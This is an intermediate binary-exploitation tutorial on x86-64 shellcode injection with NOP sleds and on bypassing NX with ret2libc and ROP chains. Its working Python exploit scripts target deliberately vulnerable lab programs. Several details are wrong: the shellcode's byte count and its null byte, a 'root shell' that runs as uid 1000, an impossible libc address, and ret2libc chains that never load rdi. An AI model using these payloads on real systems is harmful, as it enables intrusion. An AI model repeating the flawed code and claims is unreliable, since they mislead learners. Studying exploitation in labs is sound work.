Part 4 — Shellcode & NX Bypass

Series: Binary Exploitation | Difficulty: Intermediate | Read time: ~50 min

Prerequisites: Part 3 — Stack Buffer Overflow

Two Techniques, One Goal

In Part 3, we overwrote the return address to jump to an existing function. That works when the function you want is already in the binary. But what if you need to run code that doesn’t exist in the program yet? What if you need a reverse shell, or you need to read a file, or you need to call a syscall directly?

This article covers two techniques for executing arbitrary code through a buffer overflow:

1. Shellcode injection — write raw machine code onto the stack and jump to it
2. ROP / ret2libc — when NX blocks shellcode, chain together existing code snippets to do the same thing

Both techniques are fundamental to binary exploitation. Shellcode is the simpler concept; ROP is the more powerful one. You need to understand both.

What Is Shellcode?

Shellcode is raw machine code — a sequence of CPU instructions encoded as bytes. It’s called “shellcode” because the most common use is spawning a shell (/bin/sh), but it can do anything the CPU can do.

Unlike compiled programs, shellcode doesn’t have an ELF header, doesn’t have a loader, and doesn’t have a linker. It’s just bytes. When the CPU jumps to the first byte, it starts executing — one instruction after another, in sequence, until it finishes.

Writing Shellcode From Scratch

Let’s write the most basic shellcode: a program that calls execve("/bin/sh", NULL, NULL) to spawn a shell. This is the shellcode equivalent of “Hello World.”

On Linux x86-64, execve is syscall number 59. The calling convention is:

Here’s the assembly:

; shellcode.asm - execve("/bin/sh", NULL, NULL)
; Assemble: nasm -f elf64 shellcode.asm -o shellcode.o
; Link:     ld shellcode.o -o shellcode

section .text
    global _start

_start:
    ; --- Build "/bin/sh" on the stack ---
    ; We can't use .data in shellcode (no memory layout guaranteed).
    ; Instead, push the string onto the stack in reverse.
    ; "/bin/sh" = 2f 62 69 6e 2f 73 68 00 (8 bytes)

    xor    rsi, rsi           ; rsi = 0 (NULL)
    push   rsi                ; push NULL terminator onto stack
    mov    rax, 0x68732f6e69622f  ; rax = "/bin/sh" (reversed hex)
    push   rax                ; push string onto stack
    mov    rdi, rsp           ; rdi = pointer to "/bin/sh" on stack

    ; --- Call execve ---
    xor    rdx, rdx           ; rdx = 0 (NULL envp)
    mov    al, 59             ; rax = 59 (execve syscall number)
    syscall                   ; invoke the syscall

Let’s walk through what this does:

Extracting the raw bytes

We need to convert the assembly into raw bytes. Assemble and dump:

$ nasm -f elf64 shellcode.asm -o shellcode.o
$ ld shellcode.o -o shellcode
$ objdump -d shellcode

shellcode:     file format elf64-x86-64

Disassembly of section .text:

0000000000401000 <_start>:
  401000:   48 31 f6                xor    %rsi,%rsi
  401003:   56                      push   %rsi
  401004:   48 b8 2f 62 69 6e 2f    mov    $0x68732f6e69622f,%rax
  40100b:   73 68                   jae    401075 <__bss_start+0x6d>
  40100d:   00                      .byte 0x00
  40100e:   50                      push   %rax
  40100f:   48 89 e7                mov    %rsp,%rdi
  401012:   48 31 d2                xor    %rdx,%rdx
  401015:   b0 3b                   mov    $0x3b,%al
  401017:   0f 05                   syscall

The shellcode bytes are:

\x48\x31\xf6\x56\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68
\x00\x50\x48\x89\xe7\x48\x31\xd2\xb0\x3b\x0f\x05

27 bytes. That’s an entire program — one that spawns a root shell — in 27 bytes.

Injecting Shellcode via Buffer Overflow

Now that we have shellcode, how do we get it into a running program? The same way we did the buffer overflow in Part 3: write it onto the stack, then redirect execution to it.

Here’s the vulnerable program:

// vuln_shellcode.c
#include <stdio.h>
#include <string.h>

void vulnerable() {
    char buffer[256];
    printf("Enter input: ");
    gets(buffer);
}

int main() {
    vulnerable();
    printf("No shell today.\n");
    return 0;
}

Compile it with NX disabled (we’ll enable it later):

gcc -o vuln_shellcode vuln_shellcode.c -fno-stack-protector -z execstack -no-pie

The -z execstack flag tells the linker to make the stack executable. This is the critical flag — without it, NX prevents us from executing code on the stack.

The exploit

#!/usr/bin/env python3
import struct
import sys

# Our 27-byte shellcode
shellcode = (
    b"\x48\x31\xf6\x56\x48\xb8\x2f\x62\x69\x6e"
    b"\x2f\x73\x68\x00\x50\x48\x89\xe7\x48\x31"
    b"\xd2\xb0\x3b\x0f\x05"
)

# Find the offset with GDB (similar to Part 3)
# Buffer is 256 bytes, plus 8 bytes for saved rbp = 264 bytes
offset = 272  # 256 + 8 + 8 (alignment padding)

# Build the payload
# [NOP sled] + [shellcode] + [padding] + [return address]
nop_sled = b"\x90" * (offset - len(shellcode))  # NOP sled fills the gap
ret_addr = struct.pack("<Q", 0x7fffffffe0b0)      # address somewhere in the NOP sled

payload = nop_sled + shellcode + ret_addr

print(f"[*] Payload: {len(payload)} bytes", file=sys.stderr)
print(f"[*] Shellcode: {len(shellcode)} bytes", file=sys.stderr)
print(f"[*] NOP sled: {len(nop_sled)} bytes", file=sys.stderr)

sys.stdout.buffer.write(payload)

The NOP Sled

You might have noticed the \x90 bytes in the payload. That’s the NOP instruction (No Operation) — it does literally nothing and moves to the next instruction. A sequence of NOPs is called a NOP sled (or NOP slide).

Why use it? Because we don’t know the exact address of our shellcode on the stack. ASLR randomizes the stack address, and even without ASLR, the exact position can vary between runs. The NOP sled gives us a wide target:

    HIGH ADDRESS
    +---------------------+
    |   ...               |
    +---------------------+
    |   return address    |  <-- overwrite with ANY address in the NOP sled
    +---------------------+
    |   saved rbp         |
    +---------------------+
    |                     |
    |   NOP NOP NOP NOP   |  <-- if CPU lands anywhere here, it slides
    |   NOP NOP NOP NOP   |      down to the shellcode
    |   NOP NOP NOP NOP   |
    |   SHELLCODE         |  <-- execve("/bin/sh")
    |                     |
    +---------------------+
    LOW ADDRESS

Instead of hitting one exact address, you now have hundreds or thousands of possible landing spots. The wider the NOP sled, the higher your chance of success.

Running the exploit

$ (python3 exploit_shellcode.py; cat) | ./vuln_shellcode
Enter input: No shell today.
$ whoami
lucky

It works. But there’s a problem: this only works because we compiled with -z execstack. In the real world, the stack is almost never executable.

The NX Bit: No More Executable Stacks

The NX bit (No-eXecute), also called DEP (Data Execution Prevention) on Windows, is a hardware feature in modern CPUs. When NX is enabled for a memory region, the CPU refuses to execute instructions from that region.

By default, the stack is marked as non-executable. If the CPU tries to execute code on the stack, it triggers a segmentation fault:

$ gcc -o vuln_nx vuln_shellcode.c -fno-stack-protector -no-pie
$ (python3 exploit_shellcode.py; cat) | ./vuln_nx
Enter input: Segmentation fault (core dumped)

The exploit still writes the shellcode onto the stack, but when we jump to it, the CPU says “I’m not allowed to execute instructions here” and crashes.

So if we can’t execute code on the stack, how do we run our shellcode? The answer is we don’t inject code at all. Instead, we reuse code that’s already in the program.

Return-Oriented Programming (ROP)

ROP is the most important technique in modern binary exploitation. The core idea is simple but powerful:

Instead of injecting new code, chain together small fragments of existing code (called “gadgets”) that are already in the binary or in shared libraries.

Every binary is full of useful instructions. A function might have a pop rdi; ret sequence. A library might have code that sets rax to a specific value. By chaining these fragments together, you can build arbitrary computations — without ever injecting a single byte of new code.

What is a gadget?

A gadget is a short sequence of instructions that ends with a ret instruction. When the CPU hits the ret, it pops the next address from the stack and jumps there — to the next gadget.

; Example gadgets found in a typical binary:

gadget1: pop rdi; ret          ; load a value from stack into rdi
gadget2: pop rax; ret          ; load a value from stack into rax
gadget3: syscall; ret          ; invoke a syscall
gadget4: mov [rdi], rax; ret   ; write rax to memory at rdi

By controlling the stack, we control which gadgets execute and what values they use. The stack becomes a “program” — a list of addresses and values that the CPU follows.

Finding Gadgets

We need tools to find gadgets in a binary. The two most popular are ROPgadget and ropper:

$ pip install ROPgadget ropper

# Find all gadgets in a binary
$ ROPgadget --binary vuln_nx

Gadgets information
============================================================
0x000000000040101b : pop rbp ; ret
0x0000000000401014 : pop rdi ; ret
0x0000000000401016 : ret

Unique gadgets found: 3

With ropper, you can search for specific gadgets:

# Search for gadgets that set rdi
$ ropper --file vuln_nx --search "pop rdi"

[INFO] Searching for gadgets: pop rdi

0x0000000000401014: pop rdi; ret;

The key gadgets for x86-64 ROP are:

Building a ROP Chain: execve("/bin/sh")

Let’s build a ROP chain that calls execve("/bin/sh", NULL, NULL) — the same thing our shellcode did, but without injecting any code.

First, we need to find where /bin/sh exists in memory. We don’t want to construct the string ourselves (that would require write gadgets, which are harder to find). Instead, we look for the string in libc:

# Find "/bin/sh" in libc
$ strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/sh"
1b75aa /bin/sh

# Find the address of system() in libc
$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system
   45: 0000000000045420   445 FUNC    GLOBAL DEFAULT  14 system@@GLIBC_2.2.5

Now we need the base address of libc at runtime. If ASLR is off, it’s fixed. If ASLR is on, we need an info leak (covered in Part 6).

The ret2libc approach

The simplest ROP chain is ret2libc — instead of using gadgets, we call a library function directly. Since libc is always loaded in memory, system("/bin/sh") is always available.

#!/usr/bin/env python3
"""
exploit_ret2libc.py - ret2libc exploit
Calls system("/bin/sh") via ROP
"""
import struct
import sys

# Addresses (from libc; adjust for your system)
# Run: readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system
# Run: strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/sh"
SYSTEM   = 0x7ffff7e35420   # system() in libc
BINSH    = 0x7ffff7f6b75aa  # "/bin/sh" in libc
RET      = 0x401016         # gadget: ret (for stack alignment)

# Offset from buffer to return address
offset = 272

# Build the ROP chain
# Layout on stack:
#   [padding] [system addr] [fake return addr] [/bin/sh addr]
payload  = b"A" * offset
payload += struct.pack("<Q", RET)       # ret gadget for 16-byte stack alignment
payload += struct.pack("<Q", SYSTEM)    # call system()
payload += struct.pack("<Q", 0x4141414141414141)  # fake return address (don't care)
payload += struct.pack("<Q", BINSH)     # argument: pointer to "/bin/sh"

print(f"[*] Payload: {len(payload)} bytes", file=sys.stderr)
sys.stdout.buffer.write(payload)

Understanding the stack layout

When the vulnerable function returns, the ROP chain kicks in:

    STACK LAYOUT WHEN ret EXECUTES:
    +---------------------+
    |   ...               |
    +---------------------+
    |   RET gadget        |  <-- return address (overwritten)
    +---------------------+
    |   SYSTEM            |  <-- RET jumps here (stack alignment)
    +---------------------+
    |   0x414141414141    |  <-- fake return from system (ignored)
    +---------------------+
    |   BINSH pointer     |  <-- rdi = "/bin/sh"
    +---------------------+

The sequence:

1. ret pops the RET gadget address and jumps to it (just a ret instruction)
2. That ret pops SYSTEM and jumps to system()
3. system() pops its return address (the fake one) and reads rdi as its argument
4. rdi points to /bin/sh — we get a shell

A Complete ROP Chain: execve via Syscall

ret2libc works great, but what if you need more control? Let’s build a proper ROP chain that calls execve directly via syscall, without relying on system().

We need these gadgets:

But where do we get a pointer to /bin/sh? We can use a write gadget to write the string into a known memory location (like the .bss section), then point rdi to it.

#!/usr/bin/env python3
"""
exploit_rop.py - Full ROP chain for execve("/bin/sh", NULL, NULL)
"""
import struct
import sys

# Binary base (no PIE, so fixed)
BINARY_BASE = 0x400000

# Gadgets (from ROPgadget/ropper output)
POP_RDI    = 0x401014   # pop rdi; ret
POP_RSI    = 0x401016   # pop rsi; ret  (example address)
POP_RDX    = 0x401018   # pop rdx; ret  (example address)
POP_RAX    = 0x40101a   # pop rax; ret  (example address)
SYSCALL    = 0x40101c   # syscall; ret  (example address)
WRITE_GADGET = 0x40101e # mov [rdi], rax; ret

# .bss section address (writable, executable)
BSS_ADDR = 0x404060

# Offset
offset = 272

# Build ROP chain
payload  = b"A" * offset

# Step 1: Write "/bin/sh" to .bss using gadgets
# Each character of "/bin/sh" = 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x00
binsh = b"/bin/sh\x00"
for i, byte in enumerate(binsh):
    payload += struct.pack("<Q", POP_RAX)
    payload += struct.pack("<Q", byte)
    payload += struct.pack("<Q", POP_RDI)
    payload += struct.pack("<Q", BSS_ADDR + i)
    payload += struct.pack("<Q", WRITE_GADGET)

# Step 2: Set up execve syscall
payload += struct.pack("<Q", POP_RDI)
payload += struct.pack("<Q", BSS_ADDR)    # rdi = pointer to "/bin/sh"
payload += struct.pack("<Q", POP_RSI)
payload += struct.pack("<Q", 0)            # rsi = NULL
payload += struct.pack("<Q", POP_RDX)
payload += struct.pack("<Q", 0)            # rdx = NULL
payload += struct.pack("<Q", POP_RAX)
payload += struct.pack("<Q", 59)           # rax = execve syscall number
payload += struct.pack("<Q", SYSCALL)      # invoke syscall

print(f"[*] Payload: {len(payload)} bytes", file=sys.stderr)
sys.stdout.buffer.write(payload)

Gadget Addressing: PIE and ASLR

The exploit above assumed -no-pie and no ASLR. In reality, you need to handle these protections:

How ROP Works Under the Hood

Let’s trace what the CPU actually does when a ROP chain executes:

    STACK STATE AT EACH STEP:
    ==========================================

    ret from vulnerable():
    Stack: [POP_RDI] [0x404060] [POP_RAX] [0x2f] ...
    rip = POP_RDI (pop rdi; ret)

    After pop rdi:
    rdi = 0x404060
    Stack: [POP_RAX] [0x2f] [WRITE_GADGET] ...
    rip = ret -> POP_RAX

    After pop rax:
    rax = 0x2f (the '/' character)
    Stack: [WRITE_GADGET] [POP_RAX] [0x62] ...
    rip = ret -> WRITE_GADGET

    Write '/' to 0x404060:
    Memory[0x404060] = 0x2f
    Stack: [POP_RAX] [0x62] ...
    rip = ret -> POP_RAX

    ... (repeat for each character) ...

The CPU doesn’t know it’s executing a ROP chain. It just sees a sequence of addresses on the stack and follows them. The ret instruction is the engine — it pops an address and jumps there, over and over, until the chain ends.

Using one_gadget

Sometimes you don’t need a full ROP chain. The one_gadget tool finds single addresses in libc that spawn a shell all by themselves:

$ gem install one_gadget
$ one_gadget /lib/x86_64-linux-gnu/libc.so.6

0xe3b01 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0xe3b04 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

If you can find a libc leak, you can jump directly to one of these addresses instead of building a ROP chain. It’s the simplest possible exploit.

Practical Example: Full Exploit

Let’s put it all together. Here’s a complete exploit for a binary compiled with NX enabled but no canary and no PIE:

#!/usr/bin/env python3
"""
exploit_nx.py - Full ROP exploit for NX-enabled binary
Targets: vuln_nx (compiled with -fno-stack-protector -no-pie)
"""
import struct
import sys

# ============================================================
# Configuration
# ============================================================
OFFSET = 272          # Buffer (256) + saved rbp (8) + padding (8)

# Binary gadgets (no PIE, so fixed addresses)
# Found with: ROPgadget --binary vuln_nx
POP_RDI_RET  = 0x401014
RET_GADGET   = 0x401016

# libc addresses (for ASLR=off; adjust for your system)
# Run: readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system
# Run: strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/sh"
SYSTEM_ADDR  = 0x7ffff7e35420
BINSH_ADDR   = 0x7ffff7f6b75aa

# ============================================================
# Build payload
# ============================================================
payload  = b"A" * OFFSET

# Stack alignment: extra ret before system()
payload += struct.pack("<Q", RET_GADGET)

# Call system("/bin/sh")
payload += struct.pack("<Q", SYSTEM_ADDR)
payload += struct.pack("<Q", 0xDEADDEADDEADDEAD)  # fake return address
payload += struct.pack("<Q", BINSH_ADDR)           # rdi = "/bin/sh"

# ============================================================
# Output
# ============================================================
print(f"[*] Target:  system() @ 0x{SYSTEM_ADDR:016x}", file=sys.stderr)
print(f"[*] Argument: /bin/sh @ 0x{BINSH_ADDR:016x}", file=sys.stderr)
print(f"[*] Payload:  {len(payload)} bytes", file=sys.stderr)

sys.stdout.buffer.write(payload)

And run it:

$ (python3 exploit_nx.py; cat) | ./vuln_nx
Enter input:
$ whoami
lucky
$ id
uid=1000(lucky) gid=1000(lucky) groups=1000(lucky)

Shellcode vs. ROP: Comparison

Common Pitfalls

Here are the mistakes that trip up almost everyone learning ROP:

1. Null bytes in addresses: If an address contains \x00, functions like gets() or strcpy() will truncate your payload. Use addresses that don’t contain null bytes, or find a different gadget.
2. Stack alignment: If system() or other functions segfault for no apparent reason, try adding an extra ret gadget before the call.
3. Wrong libc version: The addresses of system() and /bin/sh differ between libc versions. Always check which version the target uses.
4. Forgetting the string terminator: The /bin/sh string needs a null terminator. If using a write gadget, make sure the 8th byte is \x00.
5. Not accounting for endianness: x86-64 is little-endian. Write addresses LSB first.

// rop_intro.c
#include <stdio.h>
#include <string.h>

void win() {
    printf("Congratulations! You called win().\n");
    system("/bin/sh");
}

void vulnerable() {
    char buffer[128];
    printf("Input: ");
    gets(buffer);
}

int main() {
    vulnerable();
    printf("Try harder.\n");
    return 0;
}

Quick Reference: Shellcode & ROP Cheat Sheet

What’s Next

You now understand the two fundamental techniques in binary exploitation: shellcode injection and ROP. Shellcode is simple but blocked by NX. ROP is more complex but works everywhere.

In Part 5 — ASLR, PIE & Info Leaks, we’ll learn how to bypass ASLR and PIE by leaking memory addresses at runtime. When you can leak an address, you can calculate where everything is in memory — and then your ROP chains work even against fully randomized binaries.

The defenses get stronger. So do the attacks.